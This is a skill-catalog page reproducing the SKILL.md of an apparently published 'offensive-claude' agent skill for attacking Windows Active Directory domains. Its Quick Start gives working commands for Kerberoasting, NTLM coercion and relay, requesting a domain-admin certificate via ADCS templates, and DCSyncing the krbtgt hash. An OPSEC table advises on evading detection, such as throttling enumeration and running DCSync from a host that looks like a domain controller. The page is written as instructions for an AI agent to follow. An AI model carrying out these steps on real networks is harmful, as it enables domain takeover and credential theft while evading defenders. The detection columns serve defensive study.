Active directory attack
Skill hypnguyen1209/offensive-claude/skills/active-directory-attack
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominanceFrom its SKILL.md
npx -y skills add hypnguyen1209/offensive-claude --skill active-directory-attackAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- runs commandsInstructs the agent to run 8 commands, including `sudo ntpdate <DC_IP>` and 7 more.
SKILL.md
8.9 KB, ~2.3k tokens by cl100k_base, as published. Nobody here has run it
Active Directory Attacks
When to Activate
- Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
- Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
- Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
- ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
- dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
- BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence
Technique Map
| Technique | ATT&CK | CWE | Reference | Script |
|---|---|---|---|---|
| BloodHound CE / SharpHound enumeration | T1482 | CWE-732 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
| Password spray / PtH / PtT lateral movement | T1550.002, T1550.003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
| LAPS / gMSA password read | T1003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
| Kerberoasting | T1558.003 | CWE-261 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py |
| AS-REP roasting | T1558.004 | CWE-308 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py |
| Resource-Based Constrained Delegation (RBCD) | T1558, T1098 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py |
| Constrained/Unconstrained delegation (S4U) | T1558 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py |
| Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) | T1187 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
| NTLM relay (SMB/LDAP/ADCS) | T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
| NTLM reflection (CVE-2025-33073) | T1187, T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
| Kerberos relay / DNS CNAME (CVE-2026-20929) | T1557 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
| ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) | T1649 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py |
| ADCS ESC8 relay / ESC16 CA-wide override | T1649, T1557.001 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py |
| Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - |
| DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - |
| noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - |
| dMSA BadSuccessor (CVE-2025-53779) | T1098, T1558 | CWE-269 | references/dmsa-badsuccessor.md | scripts/Get-BadSuccessorOUPermissions.ps1 |
Quick Start
# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP> # or: faketime "$(net time -S <DC>)" <cmd>
# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
# (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>
# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast
# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap
# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u [email protected] -p 'Pass' -ca CA -template Vuln -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # -> NT hash / TGT
# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1
# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>
OPSEC & Detection (summary)
| Technique | Telemetry / IOC | Detection (Sigma / EDR) | OPSEC note |
|---|---|---|---|
| SharpHound/LDAP enum | Hundreds of LDAP queries from one host; 4662 directory access | SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes | Throttle --throttle/--jitter; prefer ADWS (SOAPHound) to dodge LDAP heuristics |
| Kerberoasting | 4769 TGS-REQ with RC4 (0x17) for many SPNs from one host | Sigma win_security_susp_kerberos_manipulation; alert on RC4 TGS bursts | Request AES-only SPNs sparingly; /rc4opsec; roast few accounts, slow |
| AS-REP roasting | 4768 AS-REQ no-preauth; etype 23 | Alert on AS-REQ for DONT_REQ_PREAUTH accounts | Only target accounts BloodHound flags; offline crack |
| Coercion | EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host | Sigma coercion/PetitPotam; RPC firewall (RpcFilter) logs | Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback |
| NTLM relay / reflection | 4624/4648 NTLM logon to self; SMB→LDAP from non-server | Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record | Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct |
| ADCS ESC | 4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template | Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection | Restore templates (ESC4); EPA on certsrv breaks ESC8 relay |
| Ticket forgery | TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN | Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard) | Match domain ticket policy lifetimes; use AES keys not RC4 |
| DCSync | 4662 DRSUAPI GetNCChanges from non-DC | Sigma dcsync; alert DRSUAPI replication from non-DC IP | Run from a host that looks like a DC; avoid /all, target krbtgt only |
| dMSA BadSuccessor | 5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink | Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!) | Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive |
Deep Dives
- references/bloodhound-enum-lateral.md — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
- references/kerberos-roasting-delegation.md — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
- references/coercion-relay.md — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
- references/adcs-abuse.md — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
- references/ticket-forgery-dcsync.md — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
- references/dmsa-badsuccessor.md — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.
What ships with it: 12 files
73.4 KB alongside SKILL.md, 6 of them executable
references/
- adcs-abuse.md7.0 KB
- bloodhound-enum-lateral.md7.7 KB
- coercion-relay.md7.2 KB
- dmsa-badsuccessor.md6.5 KB
- kerberos-roasting-delegation.md6.6 KB
- ticket-forgery-dcsync.md6.5 KB
scripts/
- adcs_esc_finder.pyruns7.0 KB
- ad_recon.pyruns7.3 KB
- coerce_relay_chain.shruns3.2 KB
- Get-BadSuccessorOUPermissions.ps1runs5.3 KB
- kerberoast_audit.pyruns4.7 KB
- rbcd_takeover.pyruns4.4 KB
Gives 0 of the 12 instructions most security skills give in ~2.3k tokens
Counted across 666 of the 889 authors here whose files we hold, read 2026-09-06
- Use parameterized queries for database accessin 82 of 666, across 79 files
- Hash passwords with BCryptin 55 of 666, across 39 files
- Implement rate limiting for public endpointsin 48 of 666, across 34 files
- Use environment variables for secretsin 35 of 666
- Scan dependencies for vulnerabilitiesin 35 of 666, across 24 files
- Validate and sanitize all user inputin 35 of 666, across 32 files
- Add security headers to all responsesin 34 of 666, across 20 files
- Validate all external input at the system boundaryin 26 of 666, across 25 files
- Use parameterized queries to prevent SQL injectionin 25 of 666, across 13 files
- Store secrets in Vault or environment variablesin 25 of 666, across 10 files
- Run containers as a non-root userin 21 of 666, across 18 files
- Validate all input using Bean Validationin 19 of 666, across 5 files
Said here and by no other author read
- sync system clock to domain controller
- enumerate domain using bloodhound
- roast kerberos service accounts
- coerce authentication for relay
- relay ntlm to ldap or adcs
- identify adcs certificate template vulnerabilities
Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.